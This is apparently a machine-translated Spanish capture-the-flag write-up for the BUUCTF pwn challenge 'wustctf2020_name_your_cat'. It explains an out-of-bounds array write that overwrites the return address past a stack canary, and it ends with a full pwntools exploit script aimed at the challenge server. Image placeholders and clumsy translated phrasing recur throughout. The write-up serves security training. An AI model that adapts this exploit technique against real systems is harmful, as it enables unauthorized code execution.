[BUUCTF] PWN —— wustctf2020_name_your_cat (matriz fuera de los límites)

wustctf2020_name_your_cat

anexo

paso

  1. La inspección de rutina, el programa de 32 bits, canary y nx están habilitados
    Inserte la descripción de la imagen aquí

  2. Pruébelo localmente para ver la situación general.
    Inserte la descripción de la imagen aquí

  3. Se cargó ida de 32 bits y se encontró la puerta trasera cuando se recuperó la cadena. La
    Inserte la descripción de la imagen aquí
    función principal
    Inserte la descripción de la imagen aquí
    Namewhich ()
    Inserte la descripción de la imagen aquí

Usa ideas:

Debido al hecho de que la matriz está fuera de los límites, podemos sobrescribir el contenido después de buf, y debido al canary, solo podemos configurarlo en ret por desplazamiento, sobrescribir ret y cambiarlo a backdoor.

Proceso de utilización:

ida mira el diseño de la pila para encontrar el desplazamiento. Si
Inserte la descripción de la imagen aquí
no lo ve, gdb encontrará el desplazamiento. Cuando el
programa ingresa NameWhich, la dirección del parámetro pasada es 0xffffcf34
Inserte la descripción de la imagen aquí
. Después de pasar un parámetro, la dirección se convierte en 0xffffcf3c y la
Inserte la descripción de la imagen aquí
dirección de retorno
Inserte la descripción de la imagen aquí
es diferente. cf6c-cf34 = 56, un parámetro ocupa 8 bits y hay 7 parámetros en el medio.
Por lo tanto, cuando el bucle for se ejecuta por quinta vez, ingrese 7 al ingresar el nombre para el cual ubíquelo en la dirección de ret y sobrescriba. Simplemente escriba backdoor.

Exp completa:

from pwn import *

p=remote("node3.buuoj.cn",28477)
#p=process('./wustctf2020_name_your_cat')
elf=ELF('./wustctf2020_name_your_cat')

shell_addr=0x80485cb

p.sendlineafter('Name for which?\n>','1')
p.sendlineafter("Give your name plz: ",'A')

p.sendlineafter('Name for which?\n>','2')
p.sendlineafter("Give your name plz: ",'B')

p.sendlineafter('Name for which?\n>','3')
p.sendlineafter("Give your name plz: ",'C')

p.sendlineafter('Name for which?\n>','4')
p.sendlineafter("Give your name plz: ",'D')

p.sendlineafter('Name for which?\n>','7')
p.sendlineafter("Give your name plz: ",p32(shell_addr))

p.interactive()

Inserte la descripción de la imagen aquí

Supongo que te gusta

Origin blog.csdn.net/mcmuyanga/article/details/114673240
Recomendado
Clasificación